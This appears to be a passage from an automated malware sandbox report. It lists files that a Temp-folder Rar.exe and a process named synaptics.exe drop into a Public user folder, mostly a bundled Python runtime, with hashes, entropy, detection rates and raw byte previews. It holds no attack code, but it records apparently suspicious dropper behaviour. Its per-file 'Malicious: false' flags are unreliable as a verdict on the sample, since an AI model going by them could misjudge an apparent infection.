Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......)..qm.."m.."m.."d.p"o.."?..#o.."...#n.."m.."I.."?..#f.."?..#g.."?..#n.."...#k.."...#l.."...#l.."...#l.."Richm.."................PE..L.....]...........!.....@...........E.......P......................................H.....@.........................pU.......X..P....................X.......p..<....R..............................0R..@............P...............................text...j>.......@.................. ..`.rdata..p....P.......D..............@..@.data........`.......R..............@....reloc..<....p.......T..............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\DLLs\libssl-1_1.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	552216
Entropy (8bit):	5.779566253639773
Encrypted:	false
SSDEEP:	12288:MaYPTKwDsuz9V/9SYeujF59CF5e3SnEEATLU2lvzS7u:nYPTRDD9ND58GqbATLU2lvzS7u
MD5:	8845FCF1AE2DE1018DAAAEA01D9BA2D5
SHA1:	DB67697EE052738E6F23CC1D29B261BEF1D423E5
SHA-256:	B7E16AF3EFF9AB0869CFE60C256394A70A867879B7F56544A724D6AC1CCFAB88
SHA-512:	2792FE94DD35B594514C4FAD091C9683EC47814335D046F776CD1F043C576533E99088949F1F1AE6814C16DBDDA430EC53B2D64621EA0C818CADB91EC5E3A788
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<...x.._x.._x.._qf._t.._7b.^z.._3f.^z.._7b.^s.._7b.^r.._7b.^z.._.b.^{.._x.._..._.b.^T.._.b.^y.._.ba_y.._.b.^y.._Richx.._........................PE..L......c...........!...".....4......."....... ......................................P.....@......................... =...N...........0..s............>.../...@...6...,..8............................+..@............................................text...-........................... ..`.rdata..*k... ...l..................@..@.data....;.......6...\|..............@....idata..dA.......B..................@..@.00cfg....... ......................@..@.rsrc...s....0......................@..@.reloc..)>...@...@..................@..B........................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\DLLs\py.ico

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	MS Windows icon resource - 12 icons, 256x256 with PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced, 8 bits/pixel, 64x64, 8 bits/pixel
Category:	dropped
Size (bytes):	75809
Entropy (8bit):	5.969322217946821
Encrypted:	false
SSDEEP:	1536:+sNNRmOha6UEm3BL61Z4tXSZ6HTk1FaA87Gl6L:+2No6UtB+1eJ9Z
MD5:	B35F68A3086562C4D5453FAAD5A3474E
SHA1:	673904FF9B305A6600E47AD715289122EC0B046A
SHA-256:	150C470F9943B806B44312EFDEC85755F22F8D7D52B31F93A9AF3C43E8627381
SHA-512:	6EC80921942B3BD3C85EF24A2DE5454A34A3AD11A1BC69B601AEA7B873E318073C0B2D78C26685999F78EC64A86282C08C53AB8D77E41C661AE968EA52C08176
Malicious:	false
Reputation:	low
Preview:	...............7......@@......(....8..00...........N.. ..........m]...............f..........h....l........ .t/..Er..@@.... .(B......00.... ..%...... .... ............... .....1......... .h....#...PNG........IHDR.............\r.f....pHYs..........o.d.. .IDATx..{.$.}....w........X..V.....F..]..T..P.H().........P)..<....Y..%%...[B2....2."..\......tOwO..9=.>}^=.5s.....==gz......;..;.T.x..0.3.x.....,.l..f.a..0......`..0.....a&.6..3...`......L0l..f.a..0......`..0.....a&.6..3........_.ro...Y:>.T...V...0c.......3v..X8..0c...56.....f,.t:..,.l....#......k8...l....G..1.u.6..n....5.......w.{...N..ND.\'P.......j...1.!.u+n..v\|.._... ..>.....p.....}.v.y.h6...N...%`....[.l....F`.a.....og#....`..6.....f.`#.p..`..6.....fla#0...0c....q.m.9..{......3.\v.e....>}......."...p..w8E.l....`V..........H..l....e.]..~..Nm'....`V$.v..G?.Q...l...0+.6.v..0+.6.f..0+.6.z..0...].........q...O..`..L..w.v6......#....(...a..L.l....`&.6.)+~Y.........aY.{.r?..{.n.....{..F...o\QK.s..L47.p

C:\Users\Public\QExvbmVOb25l\DLLs\pyc.ico

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	MS Windows icon resource - 12 icons, 256x256 with PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced, 8 bits/pixel, 64x64, 8 bits/pixel
Category:	dropped
Size (bytes):	78396
Entropy (8bit):	6.10453452748711
Encrypted:	false
SSDEEP:	768:WNXYu6xYBxqjlETx2UjHe20dH397tiKZoZa1ABtc8Yg2zR51ZV2vL2inK/fR1:sayx2lETxN+HTo8+bil1ZqdKX
MD5:	B1C9980131A3F20E344AA3AA2C8DEA49
SHA1:	0FE02F0ED5E56BBE7E4E98B1DCA061ED17FBF5C7
SHA-256:	FDA28A734788A3F175CB6AED4DAEB5F05F0E49F6A272CCD2051BA337F7B3B42F
SHA-512:	84CA107ACE44FA1964C6C1EA93FC767BDE88363339FC426A3D660DA53C84BADE14F1FAE99C494483BF2B5312938D84B0C1733C85E82592B8FFE8A28F76186A3A
Malicious:	false
Reputation:	low
Preview:	..............r?......@@......(...8@..00..........`V.. ...........e...............m..........h...xt........ ..1...y..@@.... .(B.....00.... ..%...... .... ............... .....L$........ .h....-...PNG........IHDR.............\r.f....pHYs..........o.d.. .IDATx..y..W}..-.^....n.v.lK..@.../.,....`...s0g.@.0.d...8.@B&..9.'.@L....NX-..-.8v[.. ./-....zU..[..[.....w?...zU...[.-......=..#.h4..1./..h....4..F+......@..`...h:...4..F+......@..`...h:...4..F+......@..`...h:...4..F+.....O......x.9..:...t..lB{...B+..E+.M.....j%0Ah..i;,........m.....@.hO`.h..i{.'0v...=.ei%0F.. .C..M.+..<....w..d..~g&.j.*.y.uQ.T`Y..:....w.:.......y.t.BH.w.}.....v..#X.x1.....$0..F....8..<J.R.z8..Z.h....&...4m..'P.V3]..@6...........J ...4m.V...V...D+..A+.M.r.....j% F+.M[s.....Z...}.{Z.....=L.dI..9sF{....4......V.2.'....f.=....@3.h...t%...f.q...L^....Z.hf%.......3g:V.h....h%..V..Y.V.j....z.......#.J@.V...A+.$Z.h:...A,\.0.......t.........@3&fz..4.p..c....w.......\c.].g.....o...n....m.6.

C:\Users\Public\QExvbmVOb25l\DLLs\pyd.ico

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	MS Windows icon resource - 12 icons, 256x256 with PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced, 8 bits/pixel, 64x64, 8 bits/pixel
Category:	dropped
Size (bytes):	83351
Entropy (8bit):	6.269678824341842
Encrypted:	false
SSDEEP:	1536:fVLhV30CuzZO5Wf/DGsea4SNum23KXVDTEhr:f1hV3Uz447lea4muXG1TEhr
MD5:	1A8230030D821CF8EA57CE03AAEAD737
SHA1:	12656788B1FBE4D2375ECC2989A4D9DA69CAA0D6
SHA-256:	C4EC1845A5724B2A83500F3BD940355E2FE26EFC6B4FE6C208365359A6130DA1
SHA-512:	AF6356DC67249E724AE30F65DDEFB4E53C6F2703DA32FD5F135598BBD6189BEE70950242F52985478DE99979D1271EEC9F4E2981A29A9BC02C673E9B668FD0C1
Malicious:	false
Reputation:	low
Preview:	...............H......@@......(....I..00..........._.. ..........hn...............w..........h....}........ ..;..@...@@.... .(B../...00.... ..%..W... .... ......&........ ......7........ .h.../A...PNG........IHDR.............\r.f....pHYs..........o.d.. .IDATx..y...u.....u..l3..+Ar...)B..-.c...Y....X.$[....r..c.;>I..>..(...X.m%..G... ..H.....F,..f....~.T..W.^U...Yz.}.S....5.\|....S^z.%H$...7 .H..i.$.e.4...2F...d.#..D....@"Y.H. .,c...H.1..H$..i.$.e.4...2F...d.#..D....@"Y.H. .,c...........B.d~H....G>.,.},%d. i......H. i9../.R..&!....0.C..&!...%.F.9H. iY...=..HZ.i.f.4...G...i.:.8....-..9.m..y>.G.\...x...~......O."......0".#F@..$c...B>.l&M=...........qm?>.K..?...azz:.Zi..#...E...../..t:.{...$C..IK0.n...._FGGG....#...e.\7......@...@.Rl...../J#.$.....[6..'_.9.f ...%..@s..@..H`.H. ii.l.......5.._..W.....@.......D....F.B...@....@.d.F 9..H.....$.....@...u3>.S...vzz..........@.$yx..~.g...w..Y.F@...E..x...,i...F...G..p...,...=.....f......@.lx..'..~H...b....,+.~.I\|.#?.t

C:\Users\Public\QExvbmVOb25l\DLLs\pyexpat.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	170264
Entropy (8bit):	6.693484567356425
Encrypted:	false
SSDEEP:	3072:M5QtHVOqzYcylPwZzS8JqTuo0BmSWjIuVBY/xux08YvVILLh8ptCuX5x+:M2tHjzYcyu+unESWXA/xaYvD0
MD5:	92C72753FA5C8EAA615B007F89CDB482
SHA1:	34238E31E0D963838FF551B184EAB3267767AD12
SHA-256:	EBBDE07AFB2BB356CD400E97D8AFB5ABBC121CC0CC90F99BEC9C3FA5CA60DE14
SHA-512:	A80BBA7095E7178591266E411414B3A6A2CBA09B79F330631AC07A72C6EB2AFD1C50D7346938ED337A911307B15660C17D14FACC7AFC6EFD9759BFBEC2121BD6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......i^C.-?-.-?-.-?-.$G..#?-..J,./?-..J(.!?-..J).'?-..J../?-..J,./?-.fG,..?-.-?,._?-..J%.)?-..J-.,?-..J..,?-..J/.,?-.Rich-?-.........PE..L...M.,d...........!......................................................................@..........................:..P...`:.......p...............j.../......( ...5..T............................5..@............................................text............................... ..`.rdata...U.......V..................@..@.data........P.......2..............@....rsrc........p.......>..............@..@.reloc..( ......."...H..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\DLLs\python_lib.cat

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	data
Category:	dropped
Size (bytes):	162444
Entropy (8bit):	6.899798696437328
Encrypted:	false
SSDEEP:	1536:t01xIh2ISDWCMiVQwmXWFRlbIMWa1PhWkRtjNsj2+1/L3kr7Sy5Pxy:t0HIcI7C/ZIWVbZhWijNsjxkrvxy
MD5:	830E831E1896D35A5E414D518AC05A2B
SHA1:	D43B639FA1D0614EE40A85483998ED7C4996AB19
SHA-256:	739B93F1ABFD7E6188F0C86172E526DAD72E29E0FC177E4B8C4E3686DD90AE9B
SHA-512:	81FD4E1E2D376262B9F0C235EA817ECD608FE3B734CA25715BA64E33D831A330DDE5D68C3F821C540B442727D3B008103E584E6CC91DACBA6F17C0D31A7CF4C8
Malicious:	false
Reputation:	low
Preview:	0..z....H.........zw0..zr...1.0...`.H.e......0..K...+.....7.....K.0..K.0...+.....7.....].GkN..D.n...]....230405005111Z0...+.....7.....0..K.0......T...Q...w.Z...g.1.0...+.....7...1...0... ....%...%.......].4i,`..(...1i0...+.....7...1...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... ....%...%.......].4i,`..(...0....T..\|../..IT....Q.1.0...+.....7...1...0.....'......s..%R=5..1.0...+.....7...1...0.....K..`....T...#\.1.0...+.....7...1...0.....2m..3.......N..D1.0...+.....7...1...0... .......V.C.........>..wf...O...1i0...+.....7...1...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .......V.C.........>..wf...O...0.....KG{6.8.o.<v.....1.0...+.....7...1...0...7.d3t.[....Fh....!1.0...+.....7...1...0... .k.r.....r...K=.w.&.....mY+..1i0...+.....7...1...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .k.r.....r...K=.w.&.....mY+..0... .l..x....h......=....'&.ZZGe.7.31i0...+.....7...1...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .l..x...

C:\Users\Public\QExvbmVOb25l\DLLs\python_tools.cat

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	data
Category:	dropped
Size (bytes):	31213
Entropy (8bit):	7.250253600675095
Encrypted:	false
SSDEEP:	384:e+Obmujt2xtYZtMPgs+03HQIYiSy1pCQAGy+Pxh8E9VF0NyOXz0:eE0tQYYPf5YiSyvny+PxWEUQ
MD5:	E33C9E857AD27ADBE33B26AB13890657
SHA1:	D70E576009A35D201399059DBE6DEAC35E1AC168
SHA-256:	EDE0345311D5D825BA03E10423CF51515B3F3962F1286E46E1E6198ADFEC67CF
SHA-512:	AC370602AC8E55E5B524AC5E961CC5185978AE8532A29F24B6F806E3355530C3F67127AC2F65FE4849AC8B354DE7D1102B8E11FB3C5457A5548B1125209FE913
Malicious:	false
Reputation:	low
Preview:	0.y....H........y.0.y....1.0...`.H.e......0.K>..+.....7....K/0.K+0...+.....7.....1..4.&N....XE...230405005423Z0...+.....7.....0.J.0......n)z;.....n7...1.0...+.....7...1...0... ..ok..m.e,W=:a.VS...<....v.L..1i0...+.....7...1...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... ..ok..m.e,W=:a.VS...<....v.L..0... ..7]Y....M..u...8..([M.A...}...91i0...+.....7...1...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... ..7]Y....M..u...8..([M.A...}...90....[2j[...kSR.V....81.0...+.....7...1...0... ...F....(.jg.cc]..<.t.1..a.&c\..1i0...+.....7...1...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... ...F....(.jg.cc]..<.t.1..a.&c\..0... ..d...m..'...n.L!...>..S.sU.g.1i0...+.....7...1...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... ..d...m..'...n.L!...>..S.sU.g.0... ..?..."`...^.M..\|...D.....@C....1i0...+.....7...1...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... ..?..."`...^.M..\|...D.....@C....0.....v.ow......6:.ZGU,1.0...+.....7...1...0... ..#\|.!+.Hy

C:\Users\Public\QExvbmVOb25l\DLLs\select.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	27416
Entropy (8bit):	6.835600420682668
Encrypted:	false
SSDEEP:	768:+WFXERsAnq2NWow4VILQGR5YiSyvLPxWEa0P+:+xqwWow4VILQGf7SyzPx+
MD5:	6EBA3E39E61C839818F502BD67BBD672
SHA1:	CD724D843CA57F6EDBBBE94B3C352769F70AED65
SHA-256:	C942F16C17687E988434813E50D2FB222C528D0E56CCF2D15B13104676F93FC9
SHA-512:	8614F4DBF7DF68D66BA611B31135EB35EF5C6D24E1C3F3EC4E8DF67BE75102DA991F26FEA76EF930B686A1ED08AD4A4C5F62CB2BEA4233B26D276FFD3C54FC31
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5$..qE{.qE{.qE{.x=..sE{.#0z.sE{.#0~.zE{.#0..{E{.#0x.sE{..0z.sE{.qEz.LE{.:=z.tE{..0s.pE{..0{.pE{..0..pE{..0y.pE{.RichqE{.........PE..L...H.,d...........!........."...............0......................................u%....@..........................:..L....;..x....`...............<.../...p......D6..T............................6..@............0...............................text............................... ..`.rdata.."....0......................@..@.data........P......................@....rsrc........`.......0..............@..@.reloc.......p.......:..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\DLLs\sqlite3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1196824
Entropy (8bit):	6.776326140308749
Encrypted:	false
SSDEEP:	24576:E6OOR2q+dGpg4XzLojJT5r6hKarVTgnEEUNTZOdEV8RpDq+m5:zR2L94Xo5Q5OEeEYDzm5
MD5:	C60F6C4051EB55350C6EEDF5A87016AA
SHA1:	DB1C31C12BE04A5785D7CA3B8EA91B290EE9D1D8
SHA-256:	376D80DB08CEC2C8873A4D5EBC7D83F50F26A43EBAA837020874C8586FD85975
SHA-512:	FCBDFC27A778B1084BE96B88CF438E0937ADB8BABC41B538892B76283232AA557CE46701A8F62AB2FDB208AB0933F0E473CBD6DAD59203DC7495F48EE289B2A3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Z.............^....L.....L.....L.....L.....U.........................2..........Rich...................PE..L.....,d...........!................_........................................@.......7....@.........................`;..."...].........................../...........5..T........................... 6..@............................................text............................... ..`.rdata...Y.......Z..................@..@.data....'...p..."...Z..............@....rsrc................\|..............@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\DLLs\unicodedata.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1114904
Entropy (8bit):	5.393522969186712
Encrypted:	false
SSDEEP:	12288:PAKqQCb5Pfhnzr0qlmL8klMmuZ63NGM7IRG5eeIDe6VZyrIBHdQLhfFE+tc9S:PAKsZV0mmduJMMREtIC6Vo4uLc9S
MD5:	73A25EF47977BFF82315023F7F8E9DB1
SHA1:	9BD7882C39A995EA4044FB5D562060C16AF9A023
SHA-256:	AC2966C1A1F1FBEE97666E0AAADE5AB960B445AF3BACC1650B83EA8B637F2F7A
SHA-512:	C6155957E37C7A690E815F78508CCDCE9036E2EFFE45A9B47EAAFBB8A091D661B808C1A2CC6C7B83B41752121B869A877C981EE346B790F3CF3900A3D6F0B198
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........#..p..p..p...p..p..q..p..q...p..q..p..q..p..q..p..q..p..p...p..q..p..q..p..tp..p..q..pRich..p........................PE..L...K.,d...........!.....8...........=.......P.......................................X....@.............................X................................/..............T...........................P...@............P..,............................text...J7.......8.................. ..`.rdata...}...P...~...<..............@..@.data...8...........................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\DLLs\winsound.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	27928
Entropy (8bit):	6.803210417146149
Encrypted:	false
SSDEEP:	768:8wPBcVsin9R+URILO7I5YiSyvCJPxWEau:8wP2L9R+URILO767SyuPxb
MD5:	49F55D492AD016A6F0D0183768F8C903
SHA1:	0001BFFA17EEF519406710FA18808047EF19B590
SHA-256:	865C296E84C03E277145DC8DEE6E14C2AC418371A8D227576682ED596708EED8
SHA-512:	B0B57AF43FF2A3498EDCEEFAE71E253B3D9AEF23086D2BB41779A8B370BBA2801CA0CF5EFDD998E4415CB2EA61AFDA028BD1781C2DBBC8D1C157425B12D861DE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........6o..W.[.W.[.W.[./.[.W.[.".Z.W.[.".Z.W.[.".Z.W.[.".Z.W.[)".Z.W.[./.Z.W.[.W.[.W.[)".Z.W.[)".Z.W.[)".[.W.[)".Z.W.[Rich.W.[........................PE..L...L.,d...........!.........(...............0......................................3.....@..........................<..P...`<.......`...............>.../...p..X....7..T............................7..@............0...............................text...T........................... ..`.rdata.......0......................@..@.data...p....P......................@....rsrc........`.......0..............@..@.reloc..X....p.......:..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\future.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	5302
Entropy (8bit):	4.761272492188341
Encrypted:	false
SSDEEP:	96:iO+uujd+ShBkhGL45k3XYgvSEMkQFne2b1HDG:D+uSkkEknNvSEMkTk1HDG
MD5:	903D790CEF59478A60829CC3F6978890
SHA1:	3D7A098629D4217D34097FAF3DEE431A9A93B5C9
SHA-256:	70A3FB890DE3673DA0118F401F54E5C6B22639F45CDA7834F638EC3198DDACF7
SHA-512:	CD09FF62092C460B745FC6241F3F6D79B81D0B22FB541210C0D510314FD6209768F058FF4F76666D5B11BB9A0DF48F3DA6859DEBAB477598B302E44A25059C95
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	"""Record of phased-in incompatible language changes.....Each line is of the form:.... FeatureName = "_Feature(" OptionalRelease "," MandatoryRelease ",".. CompilerFlag ")"....where, normally, OptionalRelease < MandatoryRelease, and both are 5-tuples..of the same form as sys.version_info:.... (PY_MAJOR_VERSION, # the 2 in 2.1.0a3; an int.. PY_MINOR_VERSION, # the 1; an int.. PY_MICRO_VERSION, # the 0; an int.. PY_RELEASE_LEVEL, # "alpha", "beta", "candidate" or "final"; string.. PY_RELEASE_SERIAL # the 3; an int.. )....OptionalRelease records the first release in which.... from __future__ import FeatureName....was accepted.....In the case of MandatoryReleases that have not yet occurred,..MandatoryRelease predicts the release in which the feature will become part..of the language.....Else MandatoryRelease records when the feature became part of the language;..in releases at or after that, modules no longer need.... from __futur

C:\Users\Public\QExvbmVOb25l\Lib\phello.foo.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	65
Entropy (8bit):	4.094714259436315
Encrypted:	false
SSDEEP:	3:SbFQZhHFSbWQRSLABKCW5:SbFsBwbWEQYKx
MD5:	21452BCD01B4FA606D021E2A35A41918
SHA1:	63D058B0E42269750CE9FD4CA5049C57F6E26CAA
SHA-256:	AB3048BB63BB222868B04BED809A534986466828A6983C2686CE048C4F198D18
SHA-512:	F97089BB79A2E26A7D405BDA1B34C5966C55CCF1005CF88A627DD10625F526F530A74CC4A14A19DD75E6FD538796BB9380BE9D96AFFED75A8D77552380548FAF
Malicious:	false
Reputation:	low
Preview:	# This file exists as a helper for the test.test_frozen module...

C:\Users\Public\QExvbmVOb25l\Lib\pycache\future.cpython-310.pyc.56028000

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	4144
Entropy (8bit):	5.361852365766103
Encrypted:	false
SSDEEP:	96:zgdNzUuGd+P2sKNUWAom2j8kQAnPPELBG0uY:q4BRRAom1gPG00uY
MD5:	238CAB637058DFE2CD240BC466A24952
SHA1:	99D9E8F59DD7F21F3EEEA38E8B97E1A892317B76
SHA-256:	1C6A7F6DD67BCDAD253CA16589BEAD5D3A8BB046379F2DB0C23018E4A5277A17
SHA-512:	329A1ADF8E63FE143F0D9D3D021AA327E20BB3E142C2FA38DCCB3C743AB6C0BB6FDEC2C638E1C56E194087B59441DAF911067276D6FBEFDBD1D524D7AFE977A8
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.Z.g.d...Z.d.g.e...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.G.d.d...d...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.d.S.).an...Record of phased-in incompatible language changes...Each line is of the form:.. FeatureName = "_Feature(" OptionalRelease "," MandatoryRelease ",". CompilerFlag ")"..where, normally, OptionalRelease < MandatoryRelease, and both are 5-tuples.of the same form as sys.version_info:.. (PY_MAJOR_VERSION, # the 2 in 2.1.0a3; an int. PY_MINOR_VERSION, # the 1; an int. PY_MICRO_VERSION, # the 0; an int. PY_RELEASE_LEVEL, # "alpha", "beta", "candidate" or "final"; string. PY_RELEASE_SERIAL # the 3; an int. )..OptionalRelease records the first release in which.. from __future__ import FeatureName..was accepted...In the case of MandatoryReleases that have not yet occurred,.MandatoryRelease pre

C:\Users\Public\QExvbmVOb25l\Lib\pycache\_collections_abc.cpython-310.pyc.22023872

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	32938
Entropy (8bit):	5.035332633387824
Encrypted:	false
SSDEEP:	768:WpD08l+6pg6mG5JlooICwimTmIufuBEQtJHVDOA/8AH:uFl+VVSooICwimT3ufu+AJ1DOcvH
MD5:	B3C01D3CB0E0126489088960DB293F5A
SHA1:	F26F268B6A304129B01D4D4A43815D5EC49FE125
SHA-256:	3950BE0C845DB61A814A23F940726C6F2CE7266497FD843EA3E68AD2E4ED9EF1
SHA-512:	E18C763B95EFC56DEFFC3B94039B766D39B54E60B0B56260CA5BCEA19C5EC2D3E9297A732390FAB67FBDC0C5894AC7947CCA47960C011927F8FE1C1B8C264C4A
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.Z.d.d.l.m.Z.m.Z...d.d.l.Z.e.e.e.....Z.e.d...Z.d.d...Z.e.e...Z.[.g.d...Z.d.Z.e.e.d.....Z.e.e.e.......Z.e.e.i.........Z.e.e.i.........Z.e.e.i.........Z.e.e.g.....Z.e.e.e.g.......Z.e.e.e.d.......Z.e.e.e.d.d.>.......Z.e.e.e.......Z.e.e.d.....Z e.e.d.....Z!e.e.e"......Z#e.i.......Z$e.i.......Z%e.i.......Z&e.e.j'..Z(e.d.d.......Z)d.d...Ze..Ze.e..Z+e.,....[d.d...Z-e-..Z-e.e-..Z.[-d.d...Z/G.d.d...d.e.d...Z0G.d.d...d.e.d...Z1G.d.d...d.e1..Z2e2.3e+....G.d.d...d.e.d...Z4G.d.d ..d e4..Z5G.d!d"..d"e5..Z6e6.3e.....G.d#d$..d$e.d...Z7G.d%d&..d&e7..Z8e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e ....e8.3e!....e8.3e#....G.d'd(..d(e7..Z9G.d)d..de8..Z:e:.3e)....G.d+d,..d,e.d...Z;G.d-d...d.e.d...Z<G.d/d0..d0e;e7e<..Z=G.d1d2..d2e...Z>d3d4..Z?d5d6..Z@d7d8..ZAG.d9d:..d:e.d...ZBG.d;d<..d<e=..ZCeC.3eD....G.d=d>..d>eC..ZEeE.3e.....G.d?d@..d@e=..ZFeF.3e(....G.dAdB..dBe;..ZGG.dCdD..dDeGeC..ZHeH.3e$..

C:\Users\Public\QExvbmVOb25l\Lib\pycache\_compression.cpython-310.pyc.56030880

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	4525
Entropy (8bit):	5.143682408486357
Encrypted:	false
SSDEEP:	96:inAZIr5Fc+SHmtPK4Q9XEf9j0K5ULIPmwPu7gKxNW4q4RqOJd0f:iNvByEeIOQCxNWQRqOT0f
MD5:	927EEB6AFD37AD56BD9F4A90AE269759
SHA1:	1D9F7E3D18183587DB01F03805183FFAAB141A4A
SHA-256:	4288B1098DCB7B0277D84132A5E7C0DE40AB70E9B7437F4668A0E4F8A57CB02D
SHA-512:	67F6187C24EE6197637CB3FFA1A40D6D331A1C913F881943829C279CE47CBBAC33F8E1907DCADAB9DA250D4EDA8E367434EE90FFAD5A2AC38DEF6963E5795D93
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...sB...d.Z.d.d.l.Z.d.d.l.Z.e.j.Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.d.S.).z7Internal classes used by the gzip, lzma and bz2 modules.....Nc....................@...s0...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...BaseStreamz.Mode-checking helper functions.c....................C...s....\|.j.r.t.d.....d.S.).Nz.I/O operation on closed file)...closed..ValueError....self..r.....0C:\Users\Public\QExvbmVOb25l\lib\_compression.py.._check_not_closed....s..........z.BaseStream._check_not_closedc....................C........\|.....s.t...d.....d.S.).Nz.File not open for reading)...readable..io..UnsupportedOperationr....r....r....r......_check_can_read...............z.BaseStream._check_can_readc....................C...r....).Nz.File not open for writing)...writabler....r....r....r....r....r......_check_can_write....r....z.BaseStream._check_can_writec....................C...s(...\|.....s.t...d.....\|.....s.t...d.....d.S.).Nz3Seeking is only supported on file

C:\Users\Public\QExvbmVOb25l\Lib\pycache\_sitebuiltins.cpython-310.pyc.22051712

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	3560
Entropy (8bit):	5.07663630249693
Encrypted:	false
SSDEEP:	96:PLsOn3Ch9/uydg7ls3pl+ltJ5+XdaCjteUzCt/BHKGZEIy0EEt:PLs8Cfcls3plwtJEXdaIeUzMJty0EG
MD5:	02B08A8777898FFA63ACE79933840EDE
SHA1:	B66A6C781D353645B60490807B73F20AD2202A63
SHA-256:	CA83A1ADD4CF3E79B662FF8FC0A094B9D68A186DDA6619BB3758503FF20EAB09
SHA-512:	51AA92D4C58B06380F18328ABAAC72284717A821B0FDF08309C66D3BEEAC13D6F7B20740EC1B7DD7D8B174F6AEE68595AEA1A4E88ED1083CA20986606284A483
Malicious:	false
Reputation:	low
